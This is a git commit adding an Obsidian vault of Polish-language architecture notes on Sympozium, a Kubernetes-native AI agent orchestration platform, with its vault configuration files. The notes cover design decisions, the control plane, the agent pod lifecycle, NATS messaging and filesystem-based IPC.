initial commit

This commit is contained in:
2026-03-25 00:05:57 +01:00
commit 25c7d598ca
63 changed files with 5257 additions and 0 deletions

7
.obsidian/app.json vendored Normal file
View File

@@ -0,0 +1,7 @@
{
"showLineNumber": true,
"strictLineBreaks": false,
"readableLineLength": true,
"defaultViewMode": "preview",
"promptDelete": false
}

1
.obsidian/appearance.json vendored Normal file
View File

@@ -0,0 +1 @@
{}

33
.obsidian/core-plugins.json vendored Normal file
View File

@@ -0,0 +1,33 @@
{
"file-explorer": true,
"global-search": true,
"switcher": true,
"graph": true,
"backlink": true,
"canvas": true,
"outgoing-link": true,
"tag-pane": true,
"footnotes": false,
"properties": true,
"page-preview": true,
"daily-notes": true,
"templates": true,
"note-composer": true,
"command-palette": true,
"slash-command": false,
"editor-status": true,
"bookmarks": true,
"markdown-importer": false,
"zk-prefixer": false,
"random-note": false,
"outline": true,
"word-count": true,
"slides": false,
"audio-recorder": false,
"workspaces": false,
"file-recovery": true,
"publish": false,
"sync": true,
"bases": true,
"webviewer": false
}

72
.obsidian/graph.json vendored Normal file
View File

@@ -0,0 +1,72 @@
{
"collapse-filter": false,
"search": "",
"showTags": true,
"showAttachments": true,
"hideUnresolved": false,
"showOrphans": true,
"collapse-color-groups": false,
"colorGroups": [
{
"query": "path:01-Przegląd",
"color": {
"a": 1,
"rgb": 3066993
}
},
{
"query": "path:02-Architektura",
"color": {
"a": 1,
"rgb": 15105570
}
},
{
"query": "path:03-CRD",
"color": {
"a": 1,
"rgb": 10181046
}
},
{
"query": "path:04-Zarządzanie-Agentami",
"color": {
"a": 1,
"rgb": 15844367
}
},
{
"query": "path:05-Bezpieczeństwo",
"color": {
"a": 1,
"rgb": 15158332
}
},
{
"query": "path:06-Komunikacja",
"color": {
"a": 1,
"rgb": 3447003
}
},
{
"query": "path:07-Porównania",
"color": {
"a": 1,
"rgb": 1752220
}
}
],
"collapse-display": false,
"showArrow": true,
"textFadeMultiplier": 0.4,
"nodeSizeMultiplier": 1,
"lineSizeMultiplier": 1,
"collapse-forces": false,
"centerStrength": 0.518713248970312,
"repelStrength": 12.1796875,
"linkStrength": 1,
"linkDistance": 243,
"scale": 0.6085387073818282,
"close": false
}

219
.obsidian/workspace.json vendored Normal file
View File

@@ -0,0 +1,219 @@
{
"main": {
"id": "1438085991a77041",
"type": "split",
"children": [
{
"id": "33bbdaef10851db0",
"type": "tabs",
"children": [
{
"id": "30ad8e59905fd540",
"type": "leaf",
"state": {
"type": "markdown",
"state": {
"file": "04-Zarządzanie-Agentami/Skill Sidecars i auto-RBAC.md",
"mode": "preview",
"source": false
},
"icon": "lucide-file",
"title": "Skill Sidecars i auto-RBAC"
}
}
]
}
],
"direction": "vertical"
},
"left": {
"id": "cf33d5ec288affa3",
"type": "split",
"children": [
{
"id": "9a5245fd274fd84e",
"type": "tabs",
"children": [
{
"id": "7c2481a6cc620abc",
"type": "leaf",
"state": {
"type": "file-explorer",
"state": {
"sortOrder": "alphabetical",
"autoReveal": false
},
"icon": "lucide-folder-closed",
"title": "Przeglądarka plików"
}
},
{
"id": "1ace41ff52e79f6f",
"type": "leaf",
"state": {
"type": "search",
"state": {
"query": "",
"matchingCase": false,
"explainSearch": false,
"collapseAll": false,
"extraContext": false,
"sortOrder": "alphabetical"
},
"icon": "lucide-search",
"title": "Wyszukiwarka"
}
},
{
"id": "17f89513fe4ca44d",
"type": "leaf",
"state": {
"type": "bookmarks",
"state": {},
"icon": "lucide-bookmark",
"title": "Ulubione"
}
}
]
}
],
"direction": "horizontal",
"width": 300
},
"right": {
"id": "cc9b3f3574a3ab35",
"type": "split",
"children": [
{
"id": "9fa3ab897538c8a6",
"type": "tabs",
"children": [
{
"id": "5d66acd011bc92fa",
"type": "leaf",
"state": {
"type": "backlink",
"state": {
"file": "04-Zarządzanie-Agentami/Skill Sidecars i auto-RBAC.md",
"collapseAll": false,
"extraContext": false,
"sortOrder": "alphabetical",
"showSearch": false,
"searchQuery": "",
"backlinkCollapsed": false,
"unlinkedCollapsed": true
},
"icon": "links-coming-in",
"title": "Linki zwrotne do Skill Sidecars i auto-RBAC"
}
},
{
"id": "1f5f4f8c4dc56708",
"type": "leaf",
"state": {
"type": "outgoing-link",
"state": {
"file": "04-Zarządzanie-Agentami/Skill Sidecars i auto-RBAC.md",
"linksCollapsed": false,
"unlinkedCollapsed": true
},
"icon": "links-going-out",
"title": "Łącza wychodzące od Skill Sidecars i auto-RBAC"
}
},
{
"id": "c298c7c9863bb50f",
"type": "leaf",
"state": {
"type": "tag",
"state": {
"sortOrder": "frequency",
"useHierarchy": true,
"showSearch": false,
"searchQuery": ""
},
"icon": "lucide-tags",
"title": "Tagi"
}
},
{
"id": "3e601d078ceb1e82",
"type": "leaf",
"state": {
"type": "all-properties",
"state": {
"sortOrder": "frequency",
"showSearch": false,
"searchQuery": ""
},
"icon": "lucide-archive",
"title": "Wszystkie atrybuty"
}
},
{
"id": "db315e8535b67573",
"type": "leaf",
"state": {
"type": "outline",
"state": {
"file": "04-Zarządzanie-Agentami/Skill Sidecars i auto-RBAC.md",
"followCursor": false,
"showSearch": false,
"searchQuery": ""
},
"icon": "lucide-list",
"title": "Konspekt Skill Sidecars i auto-RBAC"
}
}
]
}
],
"direction": "horizontal",
"width": 300,
"collapsed": true
},
"left-ribbon": {
"hiddenItems": {
"switcher:Otwórz okno szybkiego wyboru": false,
"graph:Otwórz podgląd grafu": false,
"canvas:Stwórz nową tablicę": false,
"daily-notes:Otwórz dzisiejszy dziennik": false,
"templates:Wstaw szablon": false,
"command-palette:Otwórz listę poleceń": false,
"bases:Stwórz nową bazę danych": false
}
},
"active": "30ad8e59905fd540",
"lastOpenFiles": [
"MOC - Sympozium.md",
"04-Zarządzanie-Agentami/Persistent Memory.md",
"02-Architektura/NATS JetStream - Event Bus.md",
"08-Słownik-K8s/NATS JetStream.md",
"2026-03-24.md",
"Bez nazwy.base",
"Bez nazwy 1.base",
"Bez nazwy.canvas",
"05-Bezpieczeństwo/Agent Sandbox - gVisor i Kata.md",
"03-CRD/SympoziumSchedule.md",
"03-CRD/SympoziumPolicy.md",
"03-CRD/SympoziumInstance.md",
"03-CRD/SkillPack.md",
"03-CRD/PersonaPack.md",
"08-Słownik-K8s/Helm Chart.md",
"08-Słownik-K8s/StatefulSet.md",
"03-CRD/MCPServer.md",
"08-Słownik-K8s/DaemonSet.md",
"08-Słownik-K8s/RuntimeClass.md",
"08-Słownik-K8s/Namespace.md",
"03-CRD/AgentRun.md",
"08-Słownik-K8s/Sidecar Pattern.md",
"08-Słownik-K8s/PersistentVolumeClaim.md",
"08-Słownik-K8s/ConfigMap i Secret.md",
"02-Architektura/Przepływ danych i IPC.md",
"08-Słownik-K8s/ownerReference.md",
"08-Słownik-K8s/Finalizer.md",
"08-Słownik-K8s/Controller i Reconciler.md",
"08-Słownik-K8s/Kata Containers.md",
"08-Słownik-K8s"
]
}

View File

@@ -0,0 +1,57 @@
# Czym jest Sympozium
#sympozium #przegląd
## Definicja
Sympozium to **Kubernetes-natywna platforma orkiestracji agentów AI** napisana w Go. Każdy agent AI działa jako efemeryczny pod Kubernetes (Job), z wymuszaniem polityk przez CRD, admission webhooks i RBAC. Komunikacja odbywa się przez NATS JetStream i IPC oparty na systemie plików.
## Dwa przypadki użycia
Sympozium obsługuje dwa potężne scenariusze na jednej platformie:
### 1. Orkiestracja flot agentów AI
- Customer support, code review, data pipelines, dowolne workflow domenowe
- Każdy agent dostaje własny pod, RBAC i network policy z izolacją tenanta
### 2. Agentowe administrowanie klastrem
- Agenty skierowane "do wewnątrz" - diagnoza awarii, skalowanie, triage alertów, remediacja
- Pełna izolacja, RBAC i audit trail na poziomie Kubernetes
## Kluczowe cechy
| Cecha | Opis |
|-------|------|
| **[[PersonaPack\|PersonaPacks]]** | Bundle'e Helm-like dla agentów - aktywuj pack, controller tworzy cały zespół |
| **[[Skill Sidecars i auto-RBAC\|Skill Sidecars]]** | Każdy skill w osobnym sidecarze z efemerycznym RBAC least-privilege |
| **Multi-Channel** | Telegram, Slack, Discord, WhatsApp - każdy kanał jako dedykowany Deployment |
| **[[Persistent Memory]]** | SQLite + FTS5 na PersistentVolume - pamięć przetrwa restarty podów |
| **Scheduled Heartbeats** | Cron-owe uruchomienia agentów: health checks, alert triage, right-sizing |
| **[[Agent Sandbox - gVisor i Kata\|Agent Sandbox]]** | Izolacja na poziomie kernela via gVisor/Kata z warm pools |
| **[[MCPServer\|MCP Servers]]** | External tool providers via Model Context Protocol |
| **TUI & Web UI** | Dashboardy terminalowe i przeglądarkowe |
| **Any AI Provider** | OpenAI, Anthropic, Azure, Ollama - bez vendor lock-in |
## Technologia
- **Język:** Go 1.25+
- **Moduł:** `github.com/sympozium-ai/sympozium`
- **K8s API:** `sympozium.ai/v1alpha1`
- **Licencja:** Apache 2.0
- **Autor:** twórca [[https://github.com/k8sgpt-ai/k8sgpt|k8sgpt]] i [[https://github.com/AlexsJones/llmfit|llmfit]]
## Filozofia projektu
> "From Kubernetes, for Kubernetes"
Projekt traktuje Kubernetes nie jako platformę deploymentu, ale jako **framework orkiestracji agentów**. Każdy koncept (agent, polityka, skill, schedule) jest wyrażony jako CRD i zarządzany przez dedykowany controller. To podejście pozwala na:
- **Deklaratywność** - stan pożądany opisany w YAML
- **Reconciliation loops** - automatyczne naprawianie driftu
- **ownerReferences** - automatyczne garbage collection
- **RBAC** - natywna wielotenancja
- **NetworkPolicy** - natywna izolacja sieciowa
---
Powiązane: [[Kluczowe decyzje projektowe]] | [[Control Plane]] | [[Struktura repozytorium]]

View File

@@ -0,0 +1,64 @@
# Kluczowe decyzje projektowe
#sympozium #architektura #design-decisions
## Tabela decyzji
| Decyzja | Prymityw K8s | Uzasadnienie |
|---------|-------------|--------------|
| **Jeden [[Pod]] per agent run** | [[Job]] | Izolacja blast-radius, limity zasobów, automatyczne czyszczenie |
| **Filesystem IPC** | emptyDir volume | Agent pisze do `/ipc/`, [[Sidecar Pattern\|bridge sidecar]] obserwuje via fsnotify i publikuje do [[NATS JetStream]] |
| **[[NATS JetStream]]** | [[StatefulSet]] | Durable pub/sub z replay - kanały i control plane bez bezpośredniego couplingu |
| **[[NetworkPolicy]] isolation** | NetworkPolicy | Agent pods mają deny-all egress; tylko IPC bridge łączy się z event busem |
| **Policy-as-[[CRD - Custom Resource Definition\|CRD]]** | [[Admission Webhook]] | `SympoziumPolicy` gatuje narzędzia i sandboxe - enforcement at admission time |
| **Memory-as-SQLite** | [[PersistentVolumeClaim\|PVC]] + sidecar | SQLite z FTS5 na PVC - semantic search, tagging, upgradeable do vector search |
| **Schedule-as-CRD** | CronJob analogy | `SympoziumSchedule` definiuje recurring tasks z cron expressions |
| **Skills-as-[[ConfigMap i Secret\|ConfigMap]]** | ConfigMap volume | SkillPacks generują ConfigMapy montowane w agent pods |
| **Skill [[Sidecar Pattern\|sidecars]] z auto-[[RBAC]]** | Role/ClusterRole | [[Controller i Reconciler\|Controller]] auto-provisionuje efemeryczny RBAC per run |
| **PersonaPacks** | Operator Bundle | Controller stampuje SympoziumInstances, Schedules i memory ConfigMaps |
| **MCP servers as CRD** | [[Deployment]] + Service | MCPServer CRD zarządza lifecycle, probes tools, bridge translates protocol |
| **Node probe [[DaemonSet]]** | DaemonSet | Odkrywa lokalne inference providers - annotuje nody |
## Analiza filozofii architekturalnej
### Ephemeral over Persistent
Fundamentalna decyzja: **każde wywołanie agenta to nowy pod**. To odwrotność podejścia kagent/CrewAI/LangChain, gdzie agent żyje w długo działającym procesie.
**Zalety:**
- Blast-radius ograniczony do jednego poda
- Natywne skalowanie horyzontalne
- Automatyczne czyszczenie po zakończeniu
- Każdy run ma własny [[SecurityContext]]
**Wady:**
- Cold-start per invocation (mitygowany przez warm pools)
- Brak stanu w pamięci między runami (mitygowany przez persistent memory)
### IPC przez system plików
Agent nie komunikuje się bezpośrednio z control plane. Zamiast tego:
```
Agent → /ipc/*.json → fsnotify watcher → NATS → Controller
```
To podejście:
- Eliminuje zależności sieciowe w kontenerze agenta
- Jest language-agnostic (agent mógłby być w dowolnym języku)
- Pozwala na prostą inspekcję (pliki JSON w woluminie)
### Kubernetes jako framework, nie deployment target
Sympozium nie "deployuje się na Kubernetes" - ono **jest Kubernetes**. Każdy koncept platformy mapuje się 1:1 na prymitywy K8s:
- Agent → [[Job]]/[[Pod]]
- Polityka → [[CRD - Custom Resource Definition|CRD]] + [[Admission Webhook]]
- Skill → [[ConfigMap i Secret|ConfigMap]] + [[Sidecar Pattern|Sidecar]] + ephemeral [[RBAC]]
- Schedule → CronJob-like CRD
- Kanał → [[Deployment]]
- Memory → [[PersistentVolumeClaim|PVC]] + SQLite
---
Powiązane: [[Czym jest Sympozium]] | [[Control Plane]] | [[Model bezpieczeństwa Defence-in-Depth]]

View File

@@ -0,0 +1,78 @@
# Struktura repozytorium
#sympozium #kod
## Layout
```
sympozium/
├── api/v1alpha1/ # Definicje typów CRD (Go)
├── cmd/ # Binaria
│ ├── agent-runner/ # Agent w podzie (LLM loop + tool execution)
│ ├── controller/ # Controller manager (wszystkie reconcilery)
│ ├── apiserver/ # HTTP + WebSocket API server
│ ├── ipc-bridge/ # IPC bridge sidecar (fsnotify → NATS)
│ ├── memory-server/ # Memory sidecar (SQLite + FTS5)
│ ├── web-proxy/ # Web proxy (OpenAI-compat + MCP gateway)
│ ├── webhook/ # Admission webhook
│ ├── node-probe/ # DaemonSet odkrywający inference providers
│ └── sympozium/ # CLI + TUI (Bubble Tea)
├── web/ # Web dashboard (React + TypeScript + Vite)
├── channels/ # Implementacje kanałów
│ ├── telegram/
│ ├── slack/
│ ├── discord/
│ └── whatsapp/
├── internal/ # Pakiety wewnętrzne
│ ├── controller/ # 6 reconcilerów + routery
│ ├── orchestrator/ # PodBuilder & Spawner
│ ├── apiserver/ # Handlery API
│ ├── mcpbridge/ # MCP bridge sidecar
│ ├── eventbus/ # NATS JetStream
│ ├── ipc/ # IPC bridge
│ ├── webhook/ # Enforcement polityk
│ ├── webproxy/ # OpenAI proxy + MCP + rate limiting
│ ├── session/ # Sesje (PostgreSQL)
│ └── channel/ # Bazowe typy kanałów
├── config/ # Manifesty K8s
│ ├── crd/bases/ # Wygenerowane CRD YAML
│ ├── personas/ # Wbudowane PersonaPacks
│ ├── skills/ # Wbudowane SkillPacks
│ ├── policies/ # Presety SympoziumPolicy
│ └── samples/ # Przykładowe CR
├── charts/sympozium/ # Helm chart
├── migrations/ # Migracje PostgreSQL
├── test/integration/ # Testy integracyjne (shell)
├── docs/ # Dokumentacja
└── images/ # Dockerfiles
```
## Kluczowe pliki
| Plik | Rola |
|------|------|
| `api/v1alpha1/*_types.go` | Definicje wszystkich CRD |
| `internal/controller/agentrun_controller.go` | Serce systemu - reconciliation AgentRun → Job/Sandbox |
| `internal/controller/sympoziuminstance_controller.go` | Zarządzanie instancjami, kanałami, memory |
| `internal/orchestrator/podbuilder.go` | Budowanie spec'ów podów agentów |
| `cmd/agent-runner/tools.go` | 7 wbudowanych narzędzi agenta |
| `internal/eventbus/types.go` | Definicje tematów NATS |
## Komponenty jako kontenery
| Komponent | Obraz | Rola |
|-----------|-------|------|
| `controller` | Controller manager | Reconciluje wszystkie CRD |
| `apiserver` | API server | HTTP + WebSocket + embedded web UI |
| `agent-runner` | Agent | LLM provider agnostic runner |
| `ipc-bridge` | Sidecar | fsnotify → NATS bridge |
| `mcp-bridge` | Sidecar | MCP protocol translator |
| `memory-server` | Sidecar/Deployment | SQLite + FTS5 |
| `web-proxy` | Web proxy | OpenAI-compat API |
| `webhook` | Admission webhook | Policy enforcement |
| `node-probe` | DaemonSet | Inference discovery |
| `channel-*` | Channel pods | Telegram, Slack, Discord, WhatsApp |
---
Powiązane: [[Czym jest Sympozium]] | [[Control Plane]]

View File

@@ -0,0 +1,88 @@
# Control Plane
#sympozium #architektura #control-plane
## Komponenty
Control Plane Sympozium składa się z następujących komponentów:
### Controller Manager
Serce systemu. Zawiera **6 [[Controller i Reconciler|reconcilerów]]** + 2 routery:
| Reconciler | CRD | Odpowiedzialność |
|------------|-----|------------------|
| `AgentRunReconciler` | AgentRun | Tworzy Job/Sandbox CR, monitoruje lifecycle, zbiera wyniki |
| `SympoziumInstanceReconciler` | SympoziumInstance | Zarządza kanałami, memory, web endpoints |
| `PersonaPackReconciler` | PersonaPack | Stampuje instancje, schedules, memory z packów |
| `SkillPackReconciler` | SkillPack | Generuje ConfigMapy ze skilli |
| `SympoziumPolicyReconciler` | SympoziumPolicy | Zarządza politykami |
| `SympoziumScheduleReconciler` | SympoziumSchedule | Tworzy AgentRuns wg harmonogramu cron |
| `MCPServerReconciler` | MCPServer | Deployuje i probeuje MCP serwery |
**Routery** (reagują na eventy NATS):
- `ChannelRouter` - przetwarza wiadomości z kanałów → tworzy AgentRun
- `ScheduleRouter` - obsługuje `schedule.upsert` z agentów → tworzy/aktualizuje SympoziumSchedule
### API Server
- HTTP + WebSocket API
- Serwuje embedded web UI (React)
- Czyta annotacje node'ów (inference discovery)
- Sesje i historia w PostgreSQL
### [[Admission Webhook]]
- Enforces `SympoziumPolicy` przy tworzeniu AgentRun
- Waliduje sandbox requirements, tool gating, feature gates
- Działa at admission time, nie at runtime
### [[NATS JetStream]]
- Durable pub/sub event bus
- Decouples kanały od control plane
- Replay capability dla niezawodności
## Warstwa danych
| Magazyn | Zastosowanie |
|---------|-------------|
| **etcd** | [[CRD - Custom Resource Definition|CRD]] state (via K8s API) |
| **PostgreSQL** | Sesje, historia konwersacji |
| **SQLite + FTS5** | Persistent memory agentów (na PVC) |
| **[[ConfigMap i Secret\|ConfigMaps]]** | Skills, legacy memory |
| **[[ConfigMap i Secret\|Secrets]]** | Klucze API providerów |
## Przepływ reconciliation
```
User/Channel → Wiadomość
Channel Pod → NATS (channel.message.received)
Channel Router → Tworzy AgentRun CR
AgentRun Reconciler:
1. Walidacja polityki (SympoziumPolicy)
2. Tworzenie input ConfigMap (task + system prompt)
3. Rozwiązywanie skill sidecars (SkillPack CRDs)
4. Rozwiązywanie MCP serverów
5. Tworzenie Job/Sandbox CR z:
- Agent container
- IPC bridge sidecar
- Skill sidecars (z auto-provisioned RBAC)
- MCP bridge sidecar (opcjonalnie)
- Sandbox sidecar (opcjonalnie)
6. Monitorowanie faz: Pending → Running → Succeeded/Failed
7. Zbieranie wyników z logów poda
8. Ekstrakcja memory updates
9. Czyszczenie RBAC i zasobów
```
## Metryki OTel
Controller eksportuje metryki OpenTelemetry:
- `sympozium.agent.runs` - counter zakończonych runów
- `sympozium.agent.duration_ms` - histogram czasu trwania
- `sympozium.errors` - counter błędów
- `sympozium.web_endpoint.serving` - aktywne deployments server-mode
---
Powiązane: [[Cykl życia Agent Pod]] | [[NATS JetStream - Event Bus]] | [[Orchestrator - PodBuilder i Spawner]]

View File

@@ -0,0 +1,114 @@
# Cykl życia Agent Pod
#sympozium #architektura #agent-pod
## Anatomia Agent Pod
Każdy agent run tworzy pod z następującymi kontenerami:
```
┌─────────────────────────────────────────────────────┐
│ Agent Pod (Job) │
│ │
│ ┌─────────────┐ ┌─────────────┐ ┌──────────────┐ │
│ │ Agent │ │ IPC Bridge │ │ Skill Sidecar│ │
│ │ Container │ │ Sidecar │ │ (kubectl, │ │
│ │ │ │ │ │ helm, etc.) │ │
│ │ - LLM loop │ │ - fsnotify │ │ │ │
│ │ - Tool exec │ │ - NATS pub │ │ - /workspace │ │
│ │ - /skills │ │ - /ipc │ │ - RBAC scope │ │
│ └──────┬──────┘ └──────┬──────┘ └──────┬───────┘ │
│ │ │ │ │
│ /workspace /ipc (tmpfs) /workspace │
│ /skills (ro) (RAM-backed) │
│ /ipc │
│ /tmp │
│ │
│ ┌──────────────┐ ┌──────────────┐ │
│ │ MCP Bridge │ │ Sandbox │ │
│ │ (opcjonalny) │ │ (opcjonalny) │ │
│ └──────────────┘ └──────────────┘ │
└─────────────────────────────────────────────────────┘
```
## Woluminy
| Wolumin | Typ | Rozmiar | Cel |
|---------|-----|---------|-----|
| `workspace` | emptyDir | 1Gi | Współdzielone pliki robocze agent ↔ sidecary |
| `ipc` | emptyDir (RAM) | 64Mi | JSON IPC: agent → bridge → NATS |
| `skills` | Projected ConfigMap | - | Markdown instrukcje ze SkillPacks (read-only) |
| `tmp` | emptyDir | 256Mi | Tymczasowe pliki (read-only root FS) |
## [[SecurityContext]] agenta
Hardened security context - patrz [[SecurityContext]] dla wyjaśnienia poszczególnych pól:
```go
SecurityContext: &corev1.SecurityContext{
ReadOnlyRootFilesystem: &readOnly, // true - root FS read-only
AllowPrivilegeEscalation: &noPrivEsc, // false - blokuje setuid
Capabilities: &corev1.Capabilities{
Drop: []corev1.Capability{"ALL"}, // Drop ALL Linux capabilities
},
}
```
## Zasoby
| Kontener | CPU Request | CPU Limit | Memory Request | Memory Limit |
|----------|-------------|-----------|----------------|--------------|
| Agent | 250m | 1 | 512Mi | 1Gi |
| IPC Bridge | 50m | 100m | 64Mi | 128Mi |
| Sandbox | 100m | 500m | 256Mi | 512Mi |
## Fazy lifecycle
```
Pending → Running → Succeeded
→ Failed
→ Serving (tryb server)
```
### Pending
1. Walidacja polityki
2. Tworzenie ServiceAccount `sympozium-agent`
3. Tworzenie input ConfigMap (task, system prompt, memory)
4. Rozwiązywanie sidecars i RBAC
5. Tworzenie Job/Sandbox CR
### Running
- Polling statusu poda co 10 sekund
- Monitorowanie completion/failure
### Succeeded/Failed
1. Zbieranie logów poda (wynik agenta)
2. Ekstrakcja memory markers z outputu
3. Aktualizacja memory ConfigMap
4. Usuwanie efemerycznego RBAC
5. Pruning historii (domyślnie 50 runów per instancja)
6. Usuwanie finalizera
### Serving (tryb server)
- Deployment zamiast Job
- Service dla routowania
- Używany dla web-endpoint
- Długo żyjący, nie jest garbage-collectowany po zakończeniu
## Zmienne środowiskowe agenta
| Zmienna | Wartość |
|---------|---------|
| `AGENT_RUN_ID` | Nazwa AgentRun CR |
| `AGENT_ID` | ID konfiguracji agenta |
| `SESSION_KEY` | Klucz sesji |
| `INSTANCE_NAME` | Nazwa SympoziumInstance |
| `MODEL_PROVIDER` | openai/anthropic/azure/ollama |
| `MODEL_NAME` | Identyfikator modelu |
| `THINKING_MODE` | off/low/medium/high |
| `SPAWN_DEPTH` | Głębokość zagnieżdżenia sub-agenta |
| `TRACEPARENT` | W3C traceparent (OTel) |
---
Powiązane: [[Control Plane]] | [[Orchestrator - PodBuilder i Spawner]] | [[Skill Sidecars i auto-RBAC]]

View File

@@ -0,0 +1,59 @@
# NATS JetStream - Event Bus
#sympozium #architektura #nats #messaging
## Rola w systemie
NATS JetStream pełni rolę **centralnego event bus** łączącego wszystkie komponenty Sympozium. Jest deployowany jako StatefulSet w namespace `sympozium-system`.
## Dlaczego NATS?
| Cecha | Wartość dla Sympozium |
|-------|----------------------|
| **Durable pub/sub** | Wiadomości nie są tracone przy restartach podów |
| **Replay** | Kanały mogą odtworzyć niezrealizowane wiadomości |
| **Lightweight** | Minimalne zasoby vs Kafka/RabbitMQ |
| **Cloud-native** | Natywne wsparcie K8s |
| **Decoupling** | Kanały i agenty nie muszą wiedzieć o sobie |
## Topologia
```
┌──────────────┐ ┌──────────────┐ ┌──────────────┐
│ Channel Pods │ │ NATS │ │ Controller │
│ (Telegram, │────►│ JetStream │◄────│ Manager │
│ Slack, etc.)│◄────│ │────►│ │
└──────────────┘ │ StatefulSet │ └──────────────┘
│ sympozium- │
┌──────────────┐ │ system │ ┌──────────────┐
│ IPC Bridge │────►│ │ │ Schedule │
│ (sidecars) │◄────│ │ │ Router │
└──────────────┘ └──────────────┘ └──────────────┘
```
## Połączenie
Wszystkie komponenty łączą się pod adresem:
```
nats://nats.sympozium-system.svc:4222
```
Zmienna środowiskowa: `EVENT_BUS_URL`
## Wzorzec komunikacji
1. **Request/Reply** - tool execution (request → sidecar → result)
2. **Pub/Sub** - lifecycle events (run.started, run.completed)
3. **Queue Groups** - channel messages (load-balanced between consumers)
## Dlaczego nie bezpośrednia komunikacja?
Agent pod nie ma dostępu sieciowego (NetworkPolicy deny-all). Jedyny komponent z dostępem do NATS to **IPC Bridge sidecar**. To zapewnia:
- Agent nie może bezpośrednio komunikować się z innymi podami
- Całość komunikacji przechodzi przez kontrolowany kanał
- Łatwe auditowanie (jeden punkt wejścia/wyjścia)
---
Powiązane: [[Przepływ danych i IPC]] | [[Control Plane]] | [[NetworkPolicy i izolacja sieciowa]]

View File

@@ -0,0 +1,104 @@
# Orchestrator - PodBuilder i Spawner
#sympozium #architektura #orchestrator
## Lokalizacja
`internal/orchestrator/` - pakiet odpowiedzialny za budowanie specyfikacji podów i spawning Job'ów.
## PodBuilder
`PodBuilder` to struct odpowiedzialny za konstruowanie pod spec'ów. Konfigurowany jest tagiem obrazów:
```go
type PodBuilder struct {
DefaultAgentImage string // agent-runner
DefaultIPCBridgeImage string // ipc-bridge
DefaultSandboxImage string // sandbox
DefaultMCPBridgeImage string // mcp-bridge
EventBusURL string // nats://nats.sympozium-system.svc:4222
ImageTag string // np. "v0.0.25"
}
```
Registry: `ghcr.io/sympozium-ai/sympozium`
## Budowanie kontenerów
### BuildAgentContainer
Główny kontener agenta z:
- Read-only root filesystem
- Drop ALL capabilities
- No privilege escalation
- Woluminy: workspace, skills (ro), ipc, tmp
- EnvFrom: secret z kluczem API
### BuildIPCBridgeContainer
Sidecar IPC bridge z:
- Wolumin ipc (shared z agentem)
- Env: AGENT_RUN_ID, INSTANCE_NAME, EVENT_BUS_URL
- Opcjonalnie: TRACEPARENT, OTEL_* (observability)
### BuildSandboxContainer
Opcjonalny sidecar sandbox z:
- Read-only root filesystem
- Drop ALL capabilities
- Command: `sleep infinity` (czeka na komendy z agenta)
- Woluminy: workspace, tmp
### BuildVolumes
4 woluminy:
- `workspace` - emptyDir 1Gi
- `ipc` - emptyDir (Memory medium) 64Mi - **RAM-backed** dla szybkości
- `tmp` - emptyDir 256Mi
- `skills` - Projected volume z ConfigMapów SkillPacks
## AgentPodConfig
Konfiguracja przekazywana do buildera:
```go
type AgentPodConfig struct {
RunID string
InstanceName string
AgentID string
SessionKey string
ModelProvider string
ModelName string
ThinkingMode string
AuthSecretRef string
SandboxEnabled bool
SandboxImage string
SpawnDepth int
Skills []SkillMount
Traceparent string // W3C traceparent
OTelEndpoint string // OTLP endpoint
}
```
## Proces tworzenia poda (w AgentRunReconciler)
```
1. reconcilePending()
├── validatePolicy() - sprawdza SympoziumPolicy
├── ensureAgentServiceAccount() - ServiceAccount w namespace
├── createInputConfigMap() - task + system prompt
├── resolveSkillSidecars() - SkillPack CRDs → sidecar specs
├── ensureMCPConfigMap() - konfiguracja MCP serwerów
├── buildContainers() - PodBuilder buduje spec
├── createEphemeralRBAC() - Role + RoleBinding per sidecar
└── createJob() / createSandboxCR() - finalne tworzenie zasobu K8s
```
## Relacja z AgentRun Controller
`AgentRunReconciler` (`internal/controller/agentrun_controller.go`) jest "klientem" PodBuilder'a. Reconciler:
1. Obserwuje AgentRun CRDs
2. Używa PodBuilder do budowania spec'ów
3. Tworzy Job/Sandbox CR w Kubernetes
4. Monitoruje lifecycle poda
5. Zbiera wyniki i czyści zasoby
---
Powiązane: [[Cykl życia Agent Pod]] | [[AgentRun]] | [[Cykl życia AgentRun]]

View File

@@ -0,0 +1,126 @@
# Przepływ danych i IPC
#sympozium #architektura #ipc
## Mechanizm IPC
Sympozium używa **filesystem-based IPC** - agenty komunikują się z control plane przez pliki JSON w woluminie `/ipc/`:
```
Agent tool pisze JSON → /ipc/<dir>/*.json → fsnotify watcher → NATS publish → Controller
```
### Katalogi IPC
| Katalog | Cel | Przykład |
|---------|-----|---------|
| `/ipc/tools/` | Wykonanie komend w sidecarze | `execute_command` |
| `/ipc/messages/` | Wysyłanie wiadomości na kanały | `send_channel_message` |
| `/ipc/schedules/` | Zarządzanie schedulami | `schedule_task` |
## Dlaczego filesystem IPC?
### Zalety
1. **Language-agnostic** - agent mógłby być w Pythonie, Rust, czymkolwiek
2. **Zero zależności** - agent nie potrzebuje klienta NATS ani żadnego SDK
3. **Inspekcja** - pliki JSON w woluminie można łatwo debugować
4. **Prostota** - zapis pliku to najprostsza operacja I/O
5. **Bezpieczeństwo** - agent nie ma dostępu sieciowego, tylko do woluminu
### Jak to działa
```
1. Agent zapisuje /ipc/tools/cmd-12345.json:
{
"command": "kubectl get pods",
"runId": "my-run-123"
}
2. IPC Bridge (sidecar) wykrywa plik via fsnotify
3. Bridge publikuje na NATS:
Topic: tool.exec.request
Payload: {command, runId, instanceName}
4. Skill sidecar (lub controller) odbiera i wykonuje
5. Wynik wraca: NATS → IPC Bridge → /ipc/tools/result-12345.json
6. Agent czyta wynik z pliku
```
## NATS Topics
Kluczowe tematy zdefiniowane w `internal/eventbus/types.go`:
### Lifecycle agenta
- `agent.run.requested` - żądanie nowego runu
- `agent.run.started` - run rozpoczęty
- `agent.run.completed` - run zakończony sukcesem
- `agent.run.failed` - run zakończony błędem
### Wiadomości kanałów
- `channel.message.received` - wiadomość od użytkownika
- `channel.message.send` - wiadomość do użytkownika
### Narzędzia
- `tool.exec.request` - żądanie wykonania komendy w sidecarze
- `tool.exec.result` - wynik wykonania
### Scheduling
- `schedule.upsert` - agent sam tworzy/aktualizuje swój schedule
## Wbudowane narzędzia agenta
Agent-runner ma **7 wbudowanych narzędzi** (`cmd/agent-runner/tools.go`):
| Narzędzie | Kategoria | Opis |
|-----------|-----------|------|
| `execute_command` | IPC (sidecar) | Uruchamia komendy shell w skill sidecarze |
| `read_file` | Native | Czyta zawartość pliku |
| `write_file` | Native | Tworzy/zapisuje pliki |
| `list_directory` | Native | Listuje zawartość katalogu |
| `send_channel_message` | IPC (bridge) | Wysyła wiadomości na kanały |
